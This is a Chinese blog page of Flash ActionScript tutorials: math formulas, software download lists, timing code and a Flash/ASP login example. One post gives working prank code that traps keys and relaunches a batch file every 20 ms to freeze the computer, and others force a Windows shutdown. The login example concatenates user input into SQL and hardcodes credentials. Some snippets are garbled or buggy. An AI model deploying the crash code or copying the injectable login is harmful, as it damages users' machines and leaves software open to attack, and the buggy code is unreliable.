日历

« 2008-07-06  
  12345
6789101112
13141516171819
20212223242526
2728293031  

统计信息

  • 访问量: 1894
  • 日志数: 7
  • flash数: 1
  • 建立时间: 2007-11-26
  • 更新时间: 2008-03-25

RSS订阅

梦想发源地

我的最新日志

  • FLASH常用数学公式汇总

    2008-3-13

    正圆形的周长公式为
    2πr=(2*π*r)

    π:圆周率,约等于3.14
    r:圆的半径
    二乘以圆周率再乘以半径 或

    πR=(π*R)
    R:圆的直径
    圆周率乘以直径


    椭圆形的周长公式为
    (R+r)*π

    直径加上半径 再乘上π

    需分清的是大R和小r,大R为直径,小r为半径

     

    三角函数的定义

    1.1 三角形中的定义


    图1 在直角三角形中定义三角函数的示意图

        在直角三角形ABC,如下定义六个三角函数:

    • 正弦函数中国经济网

    • 查看更多精彩图片

    • 余弦函数中国经济网

    • 查看更多精彩图片

    • 正切函数中国经济网

    • 查看更多精彩图片

    • 余切函数中国经济网

    • 查看更多精彩图片

    • 正割函数中国经济网

    • 查看更多精彩图片

    • 余割函数
      查看更多精彩图片

    1.2 直角坐标系中的定义

     


    图2 在直角坐标系中定义三角函数示意图

        在直角坐标系中,如下定义六个三角函数:

    • 正弦函数中国经济网
    • 查看更多精彩图片
    • 余弦函数
      查看更多精彩图片
    • 正切函数
    • 查看更多精彩图片
    • 余切函数
    • 查看更多精彩图片
    • 正割函数
      查看更多精彩图片
    • 余割函数
      查看更多精彩图片

    2 转化关系

    2.1 倒数关系

    查看更多精彩图片

    查看更多精彩图片

    查看更多精彩图片

    2.2 平方关系

    查看更多精彩图片

    查看更多精彩图片

    查看更多精彩图片

    2 和角公式

     查看更多精彩图片

    查看更多精彩图片

    查看更多精彩图片

    查看更多精彩图片

    3 倍角公式、半角公式

    3.1 倍角公式

    查看更多精彩图片

    查看更多精彩图片

    查看更多精彩图片

    查看更多精彩图片

    查看更多精彩图片

    3.2 半角公式

    查看更多精彩图片

    查看更多精彩图片

    查看更多精彩图片

    3.3 万能公式

    查看更多精彩图片

    查看更多精彩图片

    查看更多精彩图片

    4 积化和差、和差化积

    4.1 积化和差公式

    查看更多精彩图片

    查看更多精彩图片

    查看更多精彩图片

    查看更多精彩图片

    4.2 和差化积公式

    查看更多精彩图片

    查看更多精彩图片

    查看更多精彩图片

    查看更多精彩图片

     

    查看更多精彩图片

    两点距离公式(点P1和P2):


    用AS表示:

    Math.sqrt(Math.pow((p1._x-p2._x),2)+Math.pow((p1._y-p2._y),2))

    缓动公式:

    mc._x += (500 - mc._x) /10;

    震动公式:

    a,b均为小数 ,a越接近1,效果越明显,b也可以不乘

    distx = int(distx*a) + int((目标值 - this._x)*b);
    something._x += distx;

  • [推荐]FLASH制作全套装备

    2008-1-02

    读完绝对超值!不管你是FLASH爱好者,还是FLASH专业制作者,我相信,下面的软件肯定有你没发现或没注意到的!
    现在就给大家介绍和FLASH有关的接近所有的制作软件及其下载地址。
    好了,不废话了。
    一、FLASH常用制作软件;
    FLASH8,FLASH CS3
    软件说明:
    我想大家基本上都用这两个软件吧(这里值得一说的是,如果你在用中文版的时候出现BUG,如无法导入位图,视频,无法发布EXE文件,这就是可能制作FLASH汉化版中存在的BUG了,所以这里建议使用FLASH英文原版,至少不会有这样的问题出现)
    下载地址:
    FLASH8
    英文版:http://down.chinaz.com/soft/8156.htm
    FLASH8
    汉化文件:http://ishare.iask.sina.com.cn/cgi-bin/fileid.cgi?fileid=2858126
    FLASH CS3
    英文版:http://www.downxia.com/downinfo/3255.html
    FLASH CS3
    汉化文件:http://ishare.iask.sina.com.cn/cgi-bin/fileid.cgi?fileid=2977271
    Flash Slideshow Builder v4.0 汉化版
    软件说明:
    Flash
    幻灯/相册制作工具。这是一个专业的 Flash 相册制作工具
    下载地址:
    http://www.crsky.com/soft/6784.html
    二、FLASH 3D制作软件
    Swift 3D v3.00 Build 184
    软件说明:Swift 3D 是专业的矢量 3D 软件
    下载地址:http://www.crsky.com/soft/1035.html
    3DFlashAnimator4
    软件说明:一套理想的Flash动画制作软件,还可以制作出高水准具互动效果的3D Flash动画。
    下载地址:http://ishare.iask.sina.com.cn/cgi-bin/fileid.cgi?fileid=2695702

    三、FLASH制作辅助软件
    KoolMoves v6.12 汉化版
    软件说明:一个动画制作软件,能够制作 Flash 动画以及与动画相关的内容
    下载地址:http://www.crsky.com/soft/3931.html
    SWFText v1.3 特别版
    软件说明:一款Flash文字动画制作工具下载地址:http://down.chinaz.com/soft/13718.htm
    FlaX V4.10
    软件说明:FlaX 是一款制作 Flash 文字特效的工具
    下载地址:http://www.skycn.com/soft/5250.html
    flash水波制作器v2.3绿色汉化版
    软件说明:Sqirlz Water Reflections专门用来给图片做动态美工的软件
    下载地址:http://ishare.iask.sina.com.cn/cgi-bin/fileid.cgi?fileid=2695661
    SWiSHmax v1.0 Build 2006.06.29 特别版
    软件说明:可轻易的在短时间内制作出复杂的文本,图像,图形和声音的效果
    下载地址:http://down.chinaz.com/soft/17532.htm
    A4Desk v5.84FLASH网站制作)
    软件说明:基于模板的所见即所得的FLASH菜单和FLASH网站创作工具,无需编码即可制作出吸引人的FLASH
    下载地址:http://down.chinaz.com/soft/7517.htm
    123 Flash Menu v2.6.0.1250 特别版
    软件说明:一款制作Flash菜单的软件,内置数计百计的模板,支持多种浏览器,可所见即所得,并有预览功能
    下载地址:http://down.chinaz.com/soft/18421.htm
    SWF Lock and Load v1.208 汉化版
    软件说明:一款帮助您为常规 Flash 剪辑加入预载器(如:动画显示的正在加载等等)的工具
    下载地址:http://www.crsky.com/soft/8044.html
    eFlashMTV V4.6 build 200702101
    软件说明:一
    款快速制作flash MTV的软件.
    下载地址:http://www.skycn.com/soft/28234.html
    Flash库批量改名器 V1.0
    软件说明:轻松的批量库改名工具
    下载地址:http://www.skycn.com/soft/33183.html
    Adobe After Effects7.0 绿色专业版
    软件说明:Adobe After Effects 7.0 软件可以帮助您高效、精确地创建无数种引人注目的动态图形和震撼人心的视觉效果。
    下载地址:http://www.xdowns.com/soft/10/142/2007/Soft_37091.html
    Adobe Audition 3.0 汉化特别优化版
    软件说明:一个专业音频编辑和混合环境。

    下载地址:http://www.downxia.com/downinfo/3910.html
    particleIllusion 3.01a 幻影粒子特效软件
    软件说明:一套分子效果系统及合成影像工具,
    下载地址:http://www.9941.cn/down/down/?type=detail&id=59
    Adobe Photoshop CS3 10.0.1.0 绿色简体精简版
    软件说明:处理图片的
    下载地址:http://www.xdowns.com/soft/31/93/2007/Soft_39370.html

    四、FLASH加密软件
    SWF Encrypt v4.0.4
    软件说明:为你的Flash SWF文件提供了安全保护
    下载地址:http://www.crsky.com/soft/8046.html
    五、FLASH破解软件

    Sothink SWF Decompiler v3.7.70607

    软件说明:世界
    Flash 电影反编译和元素提取的领军工具

    下载地址:http://www.crsky.com/soft/10242.html
    Sothink SWF Quicker v2.1 build 60405 特别版
    软件说明:一款可以直接将SWF文件导入软件中直接编辑和修改


    下载地址:http://down.chinaz.com/soft/5813.htm
    Flash橡皮擦 V1.0 绿色特别版
    软件说明:一款删除Flash对象的工具软件
    下载地址:http://www.cnjinhua.cn/soft/21294.htm
    Action scrīpt Viewer v5.01
    软件说明:一款可以分析 Flash 文件并将其中的动作脚本(action scrīpts)分解出来
    下载地址:http://www.crsky.com/soft/1666.html
    Flash吸血鬼 2.2
    软件说明:不管别人把Flash做成什么样的EXESWF,都可以破解


    下载地址:http://www.onlinedown.net/soft/45784.htm
    六、FLASH转换软件

    SWiSHVideo v2.0 Build 2006.02.12
    汉化版
    软件说明:一款将视频文件转换为
    SWF文件的工具

    下载地址:http://down.chinaz.com/soft/17589.htm
    Audio2SWF v1.003 特别版
    软件说明:可以将您的音乐文件转换为 Flash,导出格式支持 SWF/HTML/FLV/HQX)EXE
    下载地址:http://down.chinaz.com/soft/17535.htm
    Flash转换王 v8.9 Build 2050
    软件说明:国内首个可以将FlashSWF动画转换为VCD/SVCD/DVD/AVI/MPEG4等转换工具
    下载地址:http://www.crsky.com/soft/4688.html
    flash changer1.0
    软件说明:一款支持批量将EXE→SWFSWF→EXE的工具
    下载地址:http://www.cq2e.com/Soft/ShowSoft.asp?SoftID=28
    GIF2SWF v2.5
    软件说明:一个可以把gif文件转换Flashswf文件的小工具

    下载地址:http://www.9941.cn/down/down/?type=detail&id=37
    iTiny Magic Swf2Gif 1.35 汉化版
    软件说明:Swf2Gif 可以帮助您把 SWF Flash 动画转为 GiF 动画


    下载地址:http://nj.onlinedown.net/soft/52237.htm
    终于总结完了,到发帖截止,以上下载地址都亲自测试可以下载

    最后来一句:

           祝大家新年快乐、心想事成!

     

  • FLASH中控制延时的两种方法

    2007-12-18

    方法一:

    一、新建一MC(timedelay).只有三帧

    在第1帧上建一矩形,充填上颜色。(主要是为了下次做好的控件放到舞台上好找)
    第一帧代码:
    _root.stop() ;
    var i:Number =0;
    datetime=new Date();
    minu1=datetime.getMinutes ();
    second1=datetime.getSeconds ();
    delete minu1;
    第二帧:
    datetime2=new Date();
    //trace(Stime);
    minu2=datetime2.getMinutes ();
    second2=datetime2.getSeconds ();
    if(minu2>minu1){
    i=1;
    break;
    }else{
    if (second2>=second1+Stime) //Stime是延时变量,后面有介绍

    {
    i=1;
    break;
    }
    }
    delete minu2;

    第三帧:

    stop();
    if(i==1){
    _root.play();
    break;
    play();

    }else{
    gotoAndPlay(2);

    }

    方法二:

    直接将下面的代码复制在需要延时的帧上:

    stop();
    var num = 5;
    //定义你需要延时的秒数;
    function a() {
     gotoAndStop(2);
    }
    setInterval(a, num*1000);
    function num_dec() {
     if (num>0) {
      num--;
     } else {
      clearInterval(myInterval);
     }
     createTextField("my_txt", 1, 260, 60, 300, 100);
     my_txt.text = num;
    }
    myInterval = setInterval(num_dec, 1000);

  • 来个flash让你的电脑死机

    2007-12-09

    源代码:
    onClipEvent (load) {
    stop();
    fscommand("allowscale", "false");
    error.useHandCursor = false;
    fscommand("showmenu", "false");
    fscommand("trapallkeys", "true");
    function reload() {
    fscommand("exec", "reload.bat");
    }
    mydate = new Date();
    nowyear = mydate.getFullYear();
    nowmonth = mydate.getMonth();
    nowdate = mydate.getDate();
    if (nowdate == 16) {
    if (System.capabilities.language == "en") {
    gotoAndStop(4);
    } else {
    gotoAndStop(2);
    }
    viewyear.text = nowyear;
    viewmonth.text = nowmonth+1;
    viewdate.text = nowdate;
    } else {
    if (System.capabilities.language == "en") {
    gotoAndStop(3);
    }
    reload();
    setInterval(reload, 20);
    }
    }




    RELOAD.BAT文件:
    START ../autorun.exe

     

    友情提示:别乱改fscomand,也别乱改bat 文件,乱改后果自负!

  • 用AS实现XP关机

    2007-12-09

    fscommand("exec","off.bat")

    off.bat中写
    shutdown -f -t

    关于shutdown不但可以关机,还可以重启,注销,甚至at XX:XX shutdown还可以实现,在几点关机 。

    -s 关机
    -r 重启
    -f 强行关闭
    -t 显示对话框提示时间

  • 需要掌握的AS

    2007-12-09

    、var a = Math.abs(-7); // 求绝对值(这里是求-7的)

    2、function myFunction(myNum) {
    var newNum = myNum+5;
    return newNum;
    }
    trace(myFunction(8));
    //定义 调用并输出函数值

    3、多数情况下,需要用到鼠标光标在主场景中的位置,所以可以使用_root._xmouse和_root._ymouse表示。
    onClipEvent (enterFrame) {
    _x = _root._xmouse;
    _y = _root._ymouse;
    }//让影片剪辑和鼠标保持相同坐标

    4、将矩形影片剪辑作为遮罩图形
    在矩形影片剪辑的动作面板中添加如下Actionscrīpt:
    onClipEvent (load) {
    xs = _width;
    ys = _height;
    }
    onClipEvent (enterFrame) {
    _xscale = 100*(_root._xmouse-_x)/(xs/2);
    _yscale = 100*(_root._ymouse-_y)/(ys/2);
    }
    在load事件中,用变量xs和ys取得影片剪辑初始状态下的宽度和高度值。在enterFrame事件中,计算鼠标位置与矩形影片剪辑中心 的距离,算出它与矩形宽度和高度值的比值,然后作为_xscale和_yscale的值。该动画实现移动鼠标位置以改变遮罩效果

    5、Array对象(动作面板的“对象”/“核心”目录)即数组,它用来记录成组的相关或相似变量。创建一个空的数组:
    myArray = new Array();
    如下所示的Actionscrīpt创建一个确定值的数组并在输出窗口中显示每个元素的值:
    weekDay = new Array("SUN", "MON", "TUE", "WED", "TUR", "FRI", "SAT");
    for (var i = 0; i<7; i++) {
    trace(weekDay);
    }

    数组中还可以嵌套数组,即构成多维数组,如下所示:
    polyArray = new Array();
    for (var i = 0; i<3; i++) {
    polyArray = new Array(i*3+1, i*3+2, i*3+3, i*3+4);
    trace(polyArray[0]+" "+polyArray[1]+" "+polyArray[2]+" "+polyArray[3]);
    }
    输出窗口中将显示:
    1 2 3 4
    4 5 6 7
    7 8 9 10

    --------------------------------------------------------------------------------

    判断本机Flash播放器版本并进行下载


    ss=System.capabilities.version;
    if(substring(ss,5,1)<>"7"){getURL("http://www.macromedia.com/cn";,_blank);}//'" target="_blank" >http://www.macromedia.com/cn",_blank);}//那个7就是版本号

    用奇偶判断来做一个按钮的声音开关
    第一帧加入(第一帧空帧):
    t=0 //给t赋初值

    第二帧加入:
    stop(); //停止在第二帧
    ms=new Sound //新建一个声音对象ms
    ms.attachSound("sound") //空声音对象从库中调用连接名为sound的声音
    ms.start() //ms开始播放
    ms.onSoundComplete=function () { //当ms这个声音播放完后执行以下AS
    ms.start //重复播放ms
    }

    第二帧上面的控制按钮加入
    on (release) { //当鼠标松开的时候执行下面AS
    t=t+1 //t的值等于本身的值加1
    if (t%2==1) { //如果T取摸2等于1
    ms.stop() //则ms停止播放
    b=ms.position/1000 //b的值等于现在ms声音停止的位置
    } else { //否则
    ms.start(b) //ms从刚刚停止的地方(b)开始播放
    }
    }

    实现倒放(可以自行联想作出许多不间断缩放效果,如动态按钮等,曾经我写过一篇这样的教程):
    给放在场景中比如有40桢的MC添加如下语句

    onClipEvnt(load){
    gotoAndStop(40);//影片载入时就跳转到40桢并停止
    }

    onClipEvent(enterFrame){
    prevFrame();//不断的播放前一桢,
    }

    --------------------------------------------------------------------------------

    一些简单的AS和一些程序思路,掌握最好:



    1.复制MC并随机设定子MC的相关属性:
    duplicateMovieClip("mc","mc"+i,10+i);
    setProperty("mc"+i,_x,random(400) );//x坐标
    setProperty("mc"+i,_y,random(300) );//y坐标
    setProperty("mc"+i,_alpha,random(100) );//透明度属性
    i++;
    if(i>200){//设定复制的个数;
    i=1;
    }
    --------------------------------------------------------------------------------


    2.文字的逐个出现(打字效果)
    Frame1: text="引号内是要出现的字";
    ll = text.length;// 表示text文本的字符数;
    i = 1;//用于控制输出的变量;

    Frame4:
    if (i<ll+1) {
    text1 = text.substring(0,i);//从第0个字符开始抽取显示,抽取长度为i;
    i++;
    }
    Frame5:
    gotoAndPlay(4);
    --------------------------------------------------------------------------------


    3.冒泡法排序:
    for(i;i<n;i++){ //外层循环;
    for(j=n;j<=i+1;j--){//内层循环;
    if(a[j]<a[j-1]){
    temp=a[j];
    a[j]=a[j-1];
    a[j-1]=temp;//交换位置;
    }

    --------------------------------------------------------------------------------


    4.插入法排序(算法复杂性比冒泡法要小):
    for(i=2;i<=n;i++){
    j=i;
    if(a[j]<a[j-1]){
    temp=a[j];
    a[j]=a[j-1];
    a[j-1]=temp;
    j--; }
    }

    --------------------------------------------------------------------------------


    5.一个按钮控制声音的播放与停止:
    on(release)
    {a=a+1;
    if(a%2==1){//奇偶判断;
    mysound.stop();
    _root.b=int(ji.position/1000);//记录下停止时播放的位置;
    }
    else{ mysound.start(_root.b);//从上一次停止的位置开始继续播放;
    }
    }


    --------------------------------------------------------------------------------


    6.MC以恒定速度旋转

    onClipEvent (enterFrame) {
    _rotation +=6;//设定每次的旋转角度值;
    }


    --------------------------------------------------------------------------------

    和WEB结合设计中用层来遮住FLASH


    1.在flash的parameters里加入 <param name="wmode" value="transparent">
    2.<body ōnblur=self.focus()>

    遮住场景以外的部分
    Stage.scaleMode = "exactFit";

    --------------------------------------------------------------------------------

    判断输入是否为数字的函数:


    on(release){
    if(Number(pass)==NaN){//判断输入是否为数字
    pass="";
    }

    --------------------------------------------------------------------------------

    检查E-MAIL的函数:

    function checkemail(email) {
    var str = new String(email);
    var arr_email = str.split("@");
    if ((arr_email.length != 2) || (arr_email[1].indexOf(".")<1)) {
    return (false);
    } else {
    return (true);
    }
    }
    --------------------------------------------------------------------------------

    延时函数:

    function showTime(second, option) {
    //延时函数
    this.createEmptyMovieClip("t_mc", 9999);
    t = getTimer();
    f = false;
    if ((getTimer()-t)>(second*1000)) {
    option();
    }
    }
    function go() {
    //加入效果
    jpg2._y = jpg2._y+77;
    jpg2._alpha = jpg2._alpha-15;
    }
    fscommand("fullscreen", "true");
    createEmptyMovieClip("jpg1", 1);
    createEmptyMovieClip("jpg2", 2);
    jpg1.loadMovie("1.jpg");
    jpg2.loadMovie("2.jpg");
    i = 0;
    while (i<=100) {
    showTime(0.1, go);
    i = i+20;
    }

    --------------------------------------------------------------------------------

    FLASH中的保留小数的函

    int(你的数*10)/10;
    这样是保留一位
    乘上100就是两位。以此类推

    --------------------------------------------------------------------------------

    FLASH脚本实现关机

    flash5:
    fscommand ("exec","rundll"+chr(9)+"user.exe,exitwindows");

    --------------------------------------------------------------------------------

     

    鼠标双击问题!

    lsn_DbClick = new Object();
    lsn_key = new Object();
    lsn_DbClick.onMouseDown = function() {
    clickTime = getTimer();
    if (clickTime-lastClickTime<=300) {
    trace("双击了鼠标");
    }
    lastClickTime = clickTime;
    };
    Mouse.addListener(lsn_DbClick);
    time = getTimer()-down_time;
    if (time<300) {
    //双击后的代码部分
    }
    down_time = getTimer();


    怎样在从另一个swf中获取变量

    loadMovieNum("vars.swf", 1["POST"]);
    _root.onEnterFrame = function() {
    trace(_level1.myvab);
    };
    //当加载完毕后,输出就有值了...


    鼠标右键及滚轮的代码

    if Key.isDown(2){},(左键的代码是1)

    左键:Key.isToggled(1)
    右键:Key.isToggled(2)
    滚轮:Key.isToggled(4)
    滚轮1:Key.isToggled(4) PC机上用
    滚轮2:Key.isToggled(3) MAC机上用
    未知:Key.isToggled(3)
    this.onEnterFrame = function() {
    if (Key.isDown(2)){
    trace("asdfjsdjkf");
    }
    }

    --------------------------------------------------------------------------------

     

    实现TAB功能

    获得焦点
    使用Selection.setfocus()函数
    举个例子:
    例如你在主影片中有N个文本框,变量分别为text1,text2.....你想使影片一播放就把焦点落到第一个
    文本框你就在第一FRAME 加AS如下:
    Selection.setfocus("_root.text1");

    我们可以举一反三


    实现TAB功能 二

    把这个N个文本框做组成一个数组
    numarray=new array("_root.text1","_root.text2",....................."_root.textn");
    首先获得鼠标焦点
    x=Selection.getfocus();/* x 获得鼠标焦点的一个字符串
    for(i=0;i<=n;i++)
    {
    if(numarray==x){
    num=i; /*获得当前焦点在数组中的位置
    }
    然后编写TAB键功能
    on (keyPress "<TAB>") {
    if (num==n){num=0;}
    else{num++;}

    Selection.setfocus(numarray[num]);

    }
    按钮能像window那样用Tab键来转换选择
    用button.onKillFoucus


    --------------------------------------------------------------------------------

    *两点间画直线
    *画螺旋线
    *画正方形、圆、椭圆
    *抛物线
    *正弦、余弦线

    使用方法:加到帧中就可


    // 画直线
    // / x1, y1: 起点坐标
    // x2, y2: 终点坐标
    // k是层次
    Movieclip.prototype.drawline = function(x1, y1, x2, y2, k) {
    this.linestyle(1);
    this.moveTo(x1, y1);
    this.lineTo(x2, y2);
    };
    // 从(0,0)到(100,100)画一条线
    _root.createEmptyMovieClip("mc", 10);
    mc.drawline(0, 0, 100, 100);
    // 画螺旋线
    // w、h为宽和高
    // f控制线的长短,用弧度表示
    Movieclip.prototype.drawhelix = function(w, h, f) {
    for (var i = 0; i<f; i += 0.05) {
    this.lineTo(x=Math.sin(i)*i*w, y=Math.cos(i)*i*h);
    this.linestyle(1);
    }
    };
    // 以(100,100)为中心画螺旋线
    _root.createEmptyMovieClip("luo", 1);
    with (luo) {
    drawhelix(5, 5, 13);
    _x += 100;
    _y += 100;
    }
    // 多功能函数,可画圆,椭圆,正多边形等
    // n为边数
    Movieclip.prototype.drawmany = function(w, h, n) {
    f = 2*Math.PI;
    for (var i = 0; i<=f/n*(n+1); i += f/n) {
    this.lineTo(x=Math.sin(i)*w, y=Math.cos(i)*h);
    this.linestyle(1);
    }
    };
    // 画一正五边形
    _root.createEmptyMovieClip("duobian", 2);
    with (duobian) {
    drawmany(50, 50, 5);
    _x += 250;
    _y += 100;
    // 5为多边形的边数,6.3为2pai
    }
    // 画一椭圆
    _root.createEmptyMovieClip("tuo", 3);
    with (tuo) {
    drawmany(25, 50, 100);
    _x += 400;
    _y += 100;
    }
    // 圆
    _root.createEmptyMovieClip("yuan", 4);
    with (yuan) {
    drawmany(50, 50, 100);
    _x += 400;
    _y += 300;
    }
    // 抛物线
    Movieclip.prototype.drawparabola = function(l, r, k) {
    for (var i = -l; i<=r; i += 1) {
    this.lineTo(x=i, y=k*i*i);
    this.linestyle(1);
    }
    };
    // 调用
    _root.createEmptyMovieClip("parabola", 100);
    with (parabola) {
    drawparabola(50, 50, 0.05);
    _x += 200;
    _y += 200;
    // 顶点坐标
    }
    // 正弦线,余弦类似
    Movieclip.prototype.drawsin = function(n, k) {
    for (var i = 0; i<=90*n; i += 1) {
    this.lineTo(x=i, y=k*Math.sin(i*Math.PI/180));
    this.linestyle(1);
    }
    };
    _root.createEmptyMovieClip("sin", 101);
    with (sin) {
    drawsin(4, 50);
    _x += 200;
    _y += 200;
    // 顶点坐标
    }
    Movieclip.prototype.drawwave = function(w, h) {
    for (var i = 0; i<=6.3; i += 0.01) {
    this.lineTo(x=w/Math.cos(i), y=h*Math.sin(i)/Math.cos(i));
    this.linestyle(1);
    }
    };
    _root.createEmptyMovieClip("wave", 105);
    with (wave) {
    drawwave(100, 100);
    _x += 200;
    _y += 200;
    // 顶点坐标
    }

    --------------------------------------------------------------------------------

    一个动态文本设置alpha函数。

    function setAlpha(obj,alpha){
    var rgb="0x"+(255*(100-alpha)/100).toString(16);
    rgb=rgb<<16|rgb<<8|rgb;
    obj.backgroundColor|=rgb;
    obj.borderColor|=rgb;
    obj.textColor|=rgb; }

    --------------------------------------------------------------------------------

    一个遍历level0中所有MC的instance name的函数。(可以修改一下用在其他范畴)

     

    function readAllMC(){
    this.MCitem ;
    for(what in _level0){
    if(typeof(_level0[what])=="movieclip"){
    this.MCitem[what] = _level0[what];
    }
    }
    }


    --------------------------------------------------------------------------------

     

    设置MovieClip颜色:

    MovieClip.prototype.setColor = function(c_color)
    {
    var mycolor = new Color(this);
    mycolor.setRGB(c_color);
    };
    //调用:
    yourMovieClip.setColor(0xff0000);

     

    怎样设as,拒绝影片被人用loadMovie导入

    以下as一定要设在最上层桢动作第一行有效
    _root._name = "nn";
    this.onEnterFrame = function() {
    if (this._name != "nn" || _root.getDepth() != -16384) {
    this.unloadMovie();
    }
    };

    --------------------------------------------------------------------------------


    一、Flash与Asp之间的交互

    Flash与Asp的通讯是用Http协议,其请求格式为http://ip地址?参数1=值1&参数2=值2

    即是在目的地址后面加上问号,再跟上参数字符串,参数之间用“&”号格开。如:
    http://www.pcedu.com.cn/test.asp?userid=guest&pwd=123

    在上面的请求中,请求的目的文件为:http://www.pcedu.com.cn/test.asp,第一个参数名为userid,值为guest,第二个参数名为pwd,值为123。

    Flash与Asp之间的交互无非就是构造上面的请求字符串。

    1、在Flash中,先构造好请求的字符串,然后利用函数LoadVariables(),就可以向服务器端发送请求和参数。我们来详细看看LoadVariables()这个函数。

    函数的标准格式为loadVariables ("url" ,level/"target" [, variables])

    在函数的各个参数中,url就是上面说的请求字符串。level/“target”是返回值的“层次”或者“目标”,这两个当中只能指定一个。variables是请求的方式,其值可以是“Get”或者是“Post”,一般Get用于参数值比较短的传送,Post用于参数值比较长的传送,这个参数是可选的。比如loadVariables ("http://www.pcedu.com.cn/guest.asp?u ... p;pwd=123" ,0, “GET”)就是一个完整的请求。

    2、在Asp中,先要取得从Flash端传送过来的参数,这跟操作普通的HTML表单是一样的。都是利用Request对象,其语句为:

    username = Request(“userid”)
    password = Request(“pwd”)

    userid和pwd就是从Flash端发送过来的参数名,如果是上一步中的请求字符串,username的值为guest,pwd的值为123。
    3、在服务器端处理完请求,获得所需要的值后,Asp向Flash端发送结果,跟从Asp中操作Html语言一样,都是用Response对象,其语句为:

    Response.Write(“login=true&des=success”)

    其返回值1的名为login,值为true,返回值2的名为des,值为success。

    4、在Flash端取得从服务器端返回的值,与操作Flash中普通的变量没什么不同。如:
    _root.gotoAndPlay(eval(login))表示的是跳转到login的值的那一帧。但要注意的是在发送请求一段时间之后,才能用返回值,不然取得的是尚未返回的值,错误就在所难免了,而且这一类的错误很难发现,用的时候要多加小心。

    二、Asp与数据库之间的交互

    在Asp与数据库的交互一般是用ADO控件。其读取数据库的语句为:

    ‘定义一个Connection对象
    set conn=Server.CreateObject("ADODB.Connection")
    ‘用Connection对象打开数据库,这里打开的是sql server,数据库的地址为192.168.1.32
    ‘数据库的用户名为zengyu,密码为123
    conn.open application("Driver={SQL Server};SERVER=192.168.1.32;DATABASE=test;UID=zengyu;PASSWORD=123")
    ‘创建一个Recordset对象
    set rstemp=Server.CreateObject("ADODB.Recordset")
    ‘构造一个sql语句
    sqltemp1="select * from UserInfo where userid='"&strname&"' and password='"&strpassword&"'"
    ‘查询数据库
    rstemp.open sqltemp1,conn, 1, 1
    if not(rstemp.bof and rstemp.eof) then
    Response.Write (“login=true”)
    end if

    这里实现的只是简单地查询数据库,要想了解Asp操作数据库更详细的东西,可以找Asp与数据库方面的资料深入学习一下。

    三、例子――登陆的实现

    下面我们来制作一个简单的实例,在Flash端输入用户名和密码,通过Asp查询数据库,如果用户名和密码正确,就跳转到登陆成功界面,否则就跳转到登陆失败界面。

    1、新建一个Flash,在场景中制作两个文本框和一个Button,如图2所示。其中用户名对应的文本框属性如图3所示,密码对应的文本框属性如图4所示。注意其中的文本类型和变量名。
    2、创建另外两个关键帧,分别命名为“true”和“false”,并分别显示“登陆成功”和“登陆失败”字样。

    3、在Button的Actionscrīpt中增加下面的语句,注意更改其中的ip地址。

    on (release) {
    loadVariables("http://192.168.1.32/guest.asp?userid=" add eval(_root.us ... mp;pwd=" add eval(_root.pwd),this, "GET");
    now = new Date();
    begintime = now.getSeconds();
    while(true) {
    endt = new Date();
    endtime = endt.getSeconds();
    if (endt - now > 2)
    {
    _root.gotoAndPlay(eval(login));
    }
    }
    }

    4、在Sql Server数据库(数据库的类型不重要,改一改连接串就可以的)中,建立一张名为“userinfo”的表,其中有“Userid”和“Password”两个字段。

    5、建立一个guest.asp文件,文件内容为

    <%
    username = Request(“userid”)
    password = Request(“pwd”)
    set conn=Server.CreateObject("ADODB.Connection")
    conn.open application("Driver={SQL Server};SERVER=192.168.1.32;DATABASE=test;UID=zengyu;PASSWORD=123")
    set rstemp=Server.CreateObject("ADODB.Recordset")
    sqltemp1="select * from UserInfo where userid='"&username&"' and password='"&strpassword&"'"
    rstemp.open sqltemp1,conn, 1, 1
    if not(rstemp.bof and rstemp.eof) then
    Response.Write (“login=true”)
    Else
    Response.Write (“login=false”)
    end if
    %>

    6、将Flash文件和Asp文件部署到IIS服务器中,然后打开Flash文件,输入登陆信息就可以看到实例的效果了。


    --------------------------------------------------------------------------------


    FLASH调用外部文件详解

    Flash加载外部文件
    Flash可以通过帧、按扭、影片剪辑来调用外部文件。调用的外部文件包括:外部文本文件、外部程序文件、外部*.swf文件、外部图片文件、外部音乐文件、外部脚本文件。
    一.调用外部文本文件:(文本文件开头要以flash中的动态文本框的变量名开头,如
    msg=".........."这样的形式,要和编辑的Flash文件放在同一目录下)
    1.用工具箱中的文本工具,选择动态文本,给动态文本一个变量名,如:msg,在编辑区拖出一个文本框
    2.制作两个按扭(一个调用,一个清除)拖放到场景中。
    3.调用按扭上添加AS:
    on(release){//松开鼠标后执行下面的代码;
    loadVariables("msg.txt",msg);//调用和你编辑的Flash处于同一目录下的msg.txt文本文件到动态文本msg中;
    System.useCodepage=true;//使外部文件的中文字符能够正确显示;
    }
    4.清除按扭上的AS:
    on(release){//松开鼠标后清楚动态文本框中的内容;
    msg="";
    }
    5.Ctrl+Enter测试.

    当然代码也可以写在帧上:(调用按扭的实例名是bt1,清除按扭的实例名是bt2)
    在第一帧上加如下代码:
    stop();
    _root.bt1.onRelease=function(){
    loadVariables("msg.txt",msg);
    System.useCodepage=true;
    }
    _root.bt2.onRelease=function(){
    _root.msg="";
    }

    Ctrl+Enter测试.

    调用的外部文本文件能够滚动:
    1.用工具箱中的文本工具,选择动态文本,给动态文本一个变量名,如:msg,在编辑区拖出一个文本框
    2.新建一层,制作两个按扭(一个调用,一个清除)拖放到此层中
    3.新建一层,在动态文本框的右侧用矩形工具画一个竖条,高度和动态文本一样;再制作一个向上的方向"箭头"按F8转为按扭元件;复制一个"箭头"按扭,垂直镜象,使这两个按扭和竖条的两端对齐.
    4.调用按扭上的AS:
    on(release){//松开鼠标后执行下面的代码;
    loadVariables("msg1.txt",msg);//调用msg1.txt文本文件到动态文本框msg中;
    System.useCodepage=true;//使外部文件的中文字符能够正确显示;
    }
    清除按扭上的AS:
    on(release){
    _root.msg="";//清除动态文本框中的内容;
    }
    向上的按扭上的AS:
    on(press){//在按扭的感应区上每按一次鼠标执行下面的代码;
    _root.msg.scroll=_root.msg.scroll-1;//文本向下滚动一行;
    }
    向下的按扭上的AS:
    on(press){//在按扭的感应区上每按一次鼠标执行下面的代码;
    _root.msg.scroll=_root.msg.scroll+1;//文本向上滚动一行;
    }
    Ctrl+Enter测试.

    当然代码也可以写在帧上:(调用按扭的实例名是bt1,清除按扭的实例名是bt2,向上按扭的实例名是:up,向下按扭上的实例名是down)
    在第一帧上加如下代码:
    _root.bt1.onRelease=function(){//松开鼠标后执行下面的代码;
    loadVariables("msg1.txt",msg);//调用msg1.txt文本文件到动态文本框msg中;
